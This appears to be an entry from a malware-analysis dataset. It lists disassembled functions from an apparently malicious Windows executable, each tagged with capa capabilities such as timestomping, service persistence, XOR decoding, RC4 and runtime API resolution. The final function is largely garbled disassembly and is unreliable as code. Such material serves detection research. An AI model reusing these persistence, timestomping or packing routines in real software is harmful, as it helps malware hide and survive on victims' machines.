joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405522
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
xor esi, esi
push edi
push esi
push 0x20
push 3
push esi
push 1
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, esi
je 0x4055fa
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push esi
call fcn.004047b6
push 0x3c
xor edx, edx
pop ecx
div ecx
push esi
mov word [ebp - 0xe], dx
call fcn.004047b6
pop ecx
xor edx, edx
pop ecx
push 0x18
pop ecx
div ecx
sub word [ebp - 0x10], dx
cmp word [ebp - 0x10], si
jg 0x405588
add word [ebp - 0x10], cx
dec word [ebp - 0x12]
push esi
call fcn.004047b6
pop ecx
xor edx, edx
push 0x1c
pop ecx
div ecx
sub word [ebp - 0x12], dx
cmp word [ebp - 0x12], si
jg 0x4055b2
push esi
call fcn.004047b6
pop ecx
xor edx, edx
push 3
pop ecx
div ecx
mov word [ebp - 0x12], dx
push esi
call fcn.004047b6
pop ecx
xor edx, edx
push 0xc
pop ecx
div ecx
sub word [ebp - 0x16], dx
cmp word [ebp - 0x16], si
jg 0x4055d2
add word [ebp - 0x16], cx
dec word [ebp - 0x18]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
leave
ret

Function at 0x4055fe
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.004047b6
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x4937ec
call fcn.004076f0
push esi
push edi
push 0x4936e8
call fcn.004076f0
push esi
push edi
push 0x4935e4
call fcn.004076f0
push esi
push edi
push 0x4934e0
call fcn.004076f0
push esi
push edi
push 0x4933dc
call fcn.004076f0
add esp, 0x40
push 0x40f0d0
push 0x2266
push 0x40f0d4
call fcn.00403634
push 0x4938f8
call fcn.00402680
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x493900], edi
mov dword [0x4938f0], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4056be
cmp dword [ebp - 0x8c], ebx
jne 0x4056be
mov dword [0x493900], ebx
call fcn.00404a18
mov esi, 0x7d000
push esi
call fcn.00407f8f
cmp eax, edi
pop ecx
mov dword [0x4933d8], eax
jne 0x4056dc
xor eax, eax
jmp 0x405700
push esi
push edi
push eax
call fcn.004076f0
call fcn.004057be
push ebx
push 0x410e04
call fcn.0040347e
push eax
push edi
call fcn.00405449
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4057be
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push 0x410b93
call fcn.0040347e
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, 0x410c93
je 0x405823
push 1
push edi
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x493908], eax
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x493904], eax
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x49390c], eax
push 3
push 0x410b93
call fcn.0040347e
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x40584d
push 3
push edi
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x493910], eax
mov edi, 0x410dc8
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40586e
push 1
push edi
call fcn.0040347e
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x493914], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x405b0f
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x405bd3
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.004078bb
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407760
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407760
and byte [ebp - 0x21b], 0
lea eax, [ebp - 0x21f]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407760
lea eax, [ebp - 0x11c]
push 0x4101dc
push eax
call fcn.00407760
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.0040756c
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x405bd7
call fcn.00401808
xor eax, eax
jmp 0x405c2b
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403dc6
push esi
call fcn.00407beb
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004047e2
pop ecx
test eax, eax
pop ecx
je 0x405c29
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403f05
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x406106
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push 0x41096d
call fcn.0040347e
pop ecx
pop ecx
push eax
push 0x410252
push closesocket
call fcn.004045ef
lea eax, [ebp - 0x10c]
push eax
call fcn.00405ec6
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.00407ace
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x4061b0
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x4061b0
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x4060ae
push eax
call fcn.00403f1c
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x40616a
xor eax, eax
pop ebx
leave
ret 4
Function at 0x406dfd
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x2384
call fcn.00407f60
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x4935e4
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x406ea0
push 0x227a
lea eax, [esp + 0x11c]
push 0x40f0c0
push eax
call fcn.00407c00
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.00405705
push 0x15000
push esi
call fcn.00404fc5
push ebx
call fcn.004047b6
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x15200
push edx
push esi
call fcn.0040406e
add esp, 0x28
push esi
call fcn.00405522
pop ecx
push 0x27
push esi
call edi
cmp dword [0x4938f0], ebx
mov edi, 0x4933dc
je 0x406efe
push esi
push edi
push 0x4934e0
push closesocket
call fcn.0040464b
push 1
push 0x410b93
call fcn.0040347e
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push 0x410c93
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x406ef7
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x406f08
xor eax, eax
jmp 0x406f7d
cmp dword [0x4938f0], ebx
je 0x406f1b
push ebx
push esi
call fcn.004047e2
pop ecx
pop ecx
jmp 0x406f7a
cmp dword [0x4938f8], ebx
jne 0x406f7a
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2384
ret
Function at 0x433002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x54b05d70
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x46822d29
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x403cc5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4163c0]
jne 0x403ccf
repz ret
jmp fcn.00405c45

Function at 0x40438d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004030f4
and dword [ebp - 4], 0
cmp dword [0x4172c4], 0
mov ebx, eax
jne 0x40443e
push 0x4108d0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4044ef
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4108c4
push edi
call esi
test eax, eax
je 0x4044ef
push eax
call fcn.00403082
mov dword [esp], 0x4108b4
push edi
mov dword [0x4172c4], eax
call esi
push eax
call fcn.00403082
mov dword [esp], 0x4108a0
push edi
mov dword [0x4172c8], eax
call esi
push eax
call fcn.00403082
mov dword [esp], 0x410884
push edi
mov dword [0x4172cc], eax
call esi
push eax
call fcn.00403082
pop ecx
mov dword [0x4172d4], eax
test eax, eax
je 0x40443e
push 0x41086c
push edi
call esi
push eax
call fcn.00403082
pop ecx
mov dword [0x4172d0], eax
mov eax, dword [0x4172d0]
cmp eax, ebx
je 0x404496
cmp dword [0x4172d4], ebx
je 0x404496
push eax
call fcn.004030fd
push dword [0x4172d4]
mov esi, eax
call fcn.004030fd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x404496
test edi, edi
je 0x404496
call esi
test eax, eax
je 0x40448d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40448d
test byte [ebp - 0xc], 1
jne 0x404496
or dword [ebp + 0x10], 0x200000
jmp 0x4044cf
mov eax, dword [0x4172c8]
cmp eax, ebx
je 0x4044cf
push eax
call fcn.004030fd
pop ecx
test eax, eax
je 0x4044cf
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4044cf
mov eax, dword [0x4172cc]
cmp eax, ebx
je 0x4044cf
push eax
call fcn.004030fd
pop ecx
test eax, eax
je 0x4044cf
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4172c4]
call fcn.004030fd
pop ecx
test eax, eax
je 0x4044ef
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4044f1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4072f0
Capabilities:
Read file on windows

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x14]
mov esi, dword [edi]
test esi, esi
je 0x407352
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
mov dword [edi], 0
lea esp, [esp]
mov eax, 0x400000
cmp esi, 0x400000
ja 0x40731f
mov eax, esi
mov edx, dword [ebp]
push 0
lea ecx, [esp + 0x20]
push ecx
push eax
push ebx
push edx
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [esp + 0x1c]
add dword [edi], ecx
add ebx, ecx
sub esi, ecx
test eax, eax
je 0x407357
test ecx, ecx
je 0x407350
test esi, esi
ja 0x407310
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
ret
pop ebp
pop ebx
pop edi
pop esi
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x407370
Capabilities:
Write file on windows

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x14]
mov esi, dword [edi]
test esi, esi
je 0x4073d2
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
mov dword [edi], 0
lea esp, [esp]
mov eax, 0x400000
cmp esi, 0x400000
ja 0x40739f
mov eax, esi
mov edx, dword [ebp]
push 0
lea ecx, [esp + 0x20]
push ecx
push eax
push ebx
push edx
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x1c]
add dword [edi], ecx
add ebx, ecx
sub esi, ecx
test eax, eax
je 0x4073d7
test ecx, ecx
je 0x4073d0
test esi, esi
ja 0x407390
pop ebp
pop ebx
pop edi
xor eax, eax
pop esi
ret
pop ebp
pop ebx
pop edi
pop esi
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x409cf0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
dec eax
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x4178c0], ecx
inc edx
cmp edx, 0x100
jb 0x409cf2
ret

Function at 0x409da0
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
mov ecx, dword [esp + 4]
test ecx, ecx
jbe 0x409dcc
push esi
jmp 0x409db0
movzx esi, byte [edx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x4178c0]
dec ecx
inc edx
test ecx, ecx
ja 0x409db0
pop esi
ret 4
Function at 0x40c420
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ecx
mov ecx, dword [esp + 0x14]
push ebp
mov ebp, dword [ecx]
mov ecx, dword [esp + 0x10]
xor eax, eax
and ebp, 7
cmp ecx, 5
jae 0x40c439
pop ebp
pop ecx
ret
mov edx, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x1c]
add esi, 5
lea edx, [edx + ecx - 4]
push edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0x10], edx
jmp 0x40c460
mov ecx, dword [esp + 0x18]
lea edi, [eax + ecx]
cmp edi, edx
jae 0x40c47d
jmp 0x40c470
mov al, byte [edi]
and al, 0xfe
cmp al, 0xe8
je 0x40c47d
inc edi
cmp edi, edx
jb 0x40c470
mov eax, edi
sub eax, ecx
mov ecx, eax
sub ecx, dword [esp + 0x1c]
cmp edi, edx
jae 0x40c592
cmp ecx, 3
jbe 0x40c4b1
xor ebp, ebp
mov cl, byte [edi + 4]
mov dword [esp + 0x1c], eax
test cl, cl
je 0x40c4eb
cmp cl, 0xff
je 0x40c4eb
and ebp, 3
add ebp, ebp
or ebp, 1
inc eax
jmp 0x40c460
dec ecx
shl ebp, cl
and ebp, 7
je 0x40c496
movzx ecx, byte [ebp + 0x411304]
mov ebx, edi
sub ebx, ecx
cmp byte [ebp + 0x4112fc], 0
mov cl, byte [ebx + 4]
je 0x40c4d9
test cl, cl
je 0x40c4d9
cmp cl, 0xff
jne 0x40c496
and ebp, 3
add ebp, ebp
mov dword [esp + 0x1c], eax
or ebp, 1
inc eax
jmp 0x40c460
movzx edx, cl
movzx ecx, byte [edi + 3]
shl edx, 8
or edx, ecx
movzx ecx, byte [edi + 2]
shl edx, 8
or edx, ecx
movzx ecx, byte [edi + 1]
shl edx, 8
or edx, ecx
lea esp, [esp]
cmp dword [esp + 0x28], 0
je 0x40c51e
lea ebx, [edx + eax]
add ebx, esi
jmp 0x40c524
sub edx, eax
sub edx, esi
mov ebx, edx
test ebp, ebp
je 0x40c564
movzx esi, byte [ebp + 0x411304]
add esi, esi
add esi, esi
add esi, esi
mov ecx, 0x18
sub ecx, esi
mov edx, ebx
shr edx, cl
test dl, dl
je 0x40c549
cmp dl, 0xff
jne 0x40c560
mov ecx, 0x20
sub ecx, esi
mov esi, dword [esp + 0x20]
mov edx, 1
shl edx, cl
dec edx
xor edx, ebx
jmp 0x40c510
mov esi, dword [esp + 0x20]
mov edx, ebx
shr edx, 0x18
and dl, 1
dec dl
not dl
mov byte [edi + 4], dl
mov edx, ebx
shr edx, 8
mov ecx, ebx
shr ecx, 0x10
mov byte [edi + 2], dl
mov edx, dword [esp + 0x10]
mov byte [edi + 3], cl
mov byte [edi + 1], bl
add eax, 5
jmp 0x40c460
pop edi
pop esi
pop ebx
cmp ecx, 3
jbe 0x40c5a5
mov ecx, dword [esp + 0x18]
xor ebp, ebp
mov dword [ecx], ebp
pop ebp
pop ecx
ret
dec ecx
shl ebp, cl
mov ecx, dword [esp + 0x18]
and ebp, 7
mov dword [ecx], ebp
pop ebp
pop ecx
ret
Function at 0x40e960
Capabilities:
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
push 0
lea eax, [ebp - 0x14]
push eax
push 6
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40e9a2
push 5
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 0x14], 6
je 0x40e9b0
push 5
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, 6
div ecx
mov dl, byte [ebp + edx - 8]
mov byte [ebp - 0x19], dl
mov eax, dword [ebp - 0x18]
add eax, 1
xor edx, edx
mov ecx, 6
div ecx
mov dl, byte [ebp + edx - 8]
mov byte [ebp - 0x1b], dl
mov eax, dword [ebp - 0x18]
add eax, 2
xor edx, edx
mov ecx, 6
div ecx
mov dl, byte [ebp + edx - 8]
mov byte [ebp - 0x1d], dl
mov eax, dword [ebp - 0x18]
add eax, 3
xor edx, edx
mov ecx, 6
div ecx
mov dl, byte [ebp + edx - 8]
mov byte [ebp - 0x1c], dl
mov eax, dword [ebp - 0x18]
add eax, 4
xor edx, edx
mov ecx, 6
div ecx
mov dl, byte [ebp + edx - 8]
mov byte [ebp - 0x1e], dl
mov eax, dword [ebp - 0x18]
add eax, 5
xor edx, edx
mov ecx, 6
div ecx
mov dl, byte [ebp + edx - 8]
mov byte [ebp - 0x1a], dl
movzx eax, byte [ebp - 0x19]
cmp eax, 0x37
jne 0x40ea77
movzx ecx, byte [ebp - 0x1b]
cmp ecx, 0x7a
jne 0x40ea77
movzx edx, byte [ebp - 0x1d]
cmp edx, 0xbc
jne 0x40ea77
movzx eax, byte [ebp - 0x1c]
cmp eax, 0xaf
jne 0x40ea77
movzx ecx, byte [ebp - 0x1e]
cmp ecx, 0x27
jne 0x40ea77
movzx edx, byte [ebp - 0x1a]
cmp edx, 0x1c
jne 0x40ea77
mov dword [ebp - 0xc], 2
jmp 0x40eaee
movzx eax, byte [ebp - 0x19]
cmp eax, 0x50
jne 0x40eaa4
movzx ecx, byte [ebp - 0x1b]
cmp ecx, 0x4b
jne 0x40eaa4
movzx edx, byte [ebp - 0x1d]
cmp edx, 3
jne 0x40eaa4
movzx eax, byte [ebp - 0x1c]
cmp eax, 4
jne 0x40eaa4
mov dword [ebp - 0xc], 1
jmp 0x40eaee
push 0
lea ecx, [ebp - 0x14]
push ecx
push 1
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, 6
div ecx
lea edx, [ebp + edx - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40ead8
push 5
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 0x14], 0
jne 0x40eae0
jmp 0x40eaee
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
jmp 0x40e9b0
cmp dword [ebp - 0xc], 0
je 0x40eb15
push 1
push 0
push 0xfffffffffffffffa
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
jne 0x40eb15
push 5
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x40ece0
Capabilities:
Check if file exists
Get file attributes
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x528
cmp dword [ebp + 8], 0xffffffff
je 0x40ee1c
mov dword [ebp - 0x10c], 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0x104
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp + 8], 0
cmp dword [ebp - 0x10c], 0
je 0x40ee1c
mov ecx, dword [ebp - 0x10c]
mov byte [ebp + ecx - 0x108], 0
xor edx, edx
mov word [ebp - 0x528], dx
push 0x104
lea eax, [ebp - 0x528]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea edx, [ebp - 0x528]
mov dword [ebp - 0x31c], edx
jmp 0x40ed90
mov eax, dword [ebp - 0x31c]
add eax, 2
mov dword [ebp - 0x31c], eax
mov ecx, dword [ebp - 0x31c]
movzx edx, word [ecx]
test edx, edx
je 0x40edc8
mov eax, dword [ebp - 0x31c]
movzx ecx, word [eax]
cmp ecx, 0xa
je 0x40edb9
mov edx, dword [ebp - 0x31c]
movzx eax, word [edx]
cmp eax, 0xd
jne 0x40edc6
xor ecx, ecx
mov edx, dword [ebp - 0x31c]
mov word [edx], cx
jmp 0x40edc8
jmp 0x40ed81
mov eax, dword [ebp + 0xc]
push eax
push 0x104
lea ecx, [ebp - 0x318]
push ecx
call fcn.00401000
lea edx, [ebp - 0x528]
push edx
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
lea ecx, [ebp - 0x318]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40ee1c
lea edx, [ebp - 0x318]
push edx
push 0x104
mov eax, dword [ebp + 0x10]
push eax
call fcn.00401050
mov al, 1
jmp 0x40ee1e
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x409250
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ebx
ficomp word [ebp + 0x48]
push esi
push edi
mov edi, dword [ebx + eax*4]
leave
push dword [ebx]
mov bh, 0x8b
pushal
out dx, al
add ch, al
sar dword [edi - 0x59ff0707], 1
mov edi, 0xa600f8f9
add byte [ecx + 0x6b76104d], cl
mov dl, byte [ebx + 0x41]
cmp dl, 0x3a
jne 0x40929f
mov al, byte [ebx + 2]
cmp al, 0x2f
add bh, byte [edi + ebp]
je 0x409285
xlatb
pop esp
jne 0x40929f
loop 0x409267
inc ecx
add byte [esi - 1], dl
adc eax, sym.imp.MSVCRT.dll_wcscpy
mov eax, dword [ebp - 0x77]
and dword [ebx + 0x4e8b108], 0xffffff83
invalid
mov al, byte [ebx]
cmp al, 0x2f
je 0x4092a9
cmp al, 0x5c
jne 0x4092dd
cmp dl, 0x2f
je 0x40927c
or byte [ebx], 0x5c
lahf
cmp byte cs:[ebx + 2], 0x3f
xchg edi, eax
and al, 0x34
jmp 0x10cfb7e
lea eax, [ebp + 0xc]
lea ebx, [eax + 0x62]
jmp 0x40933b
stc
cmpsb byte [esi], byte es:[edi]
nop
nop
nop
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
or dword [ecx], 4
dec dword [edi]
test byte [eax + eax + 0x15160000], al
sub al, 0x84
sar ch, 8
push esi
call 0xb7d1b2d0
mov edi, eax
outsd dx, dword [esi]
pop ds
xchg ecx, eax
mov bh, 0x8b
clc
mov eax, dword [esi + 0x18]
and eax, 0x6000000
je 0x4093b8
cmp eax, 0x6d50000
jne 0x40938b
push 0x27
call dword [0x67403708]
add esp, 4
push 0x55
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
jmp 0x40935d
cmp eax, 0x4005400
jne 0x4093a9
push 1
call dword [0x40c157]
add esp, 4
push 0xffffffffffffffff
mov edi, 0xa41bff50
rol byte [eax], 0xeb
sbb bh, byte [0x5000000]
cmp eax, 0x5000000
jne 0x4093d1
push 0xffffffffffffff9a
call dword [sym.imp.WSOCK32.dll_setsockopt]
xor dword [0x85ff6a7d], 0xfffffff6
jmp ecx
invalid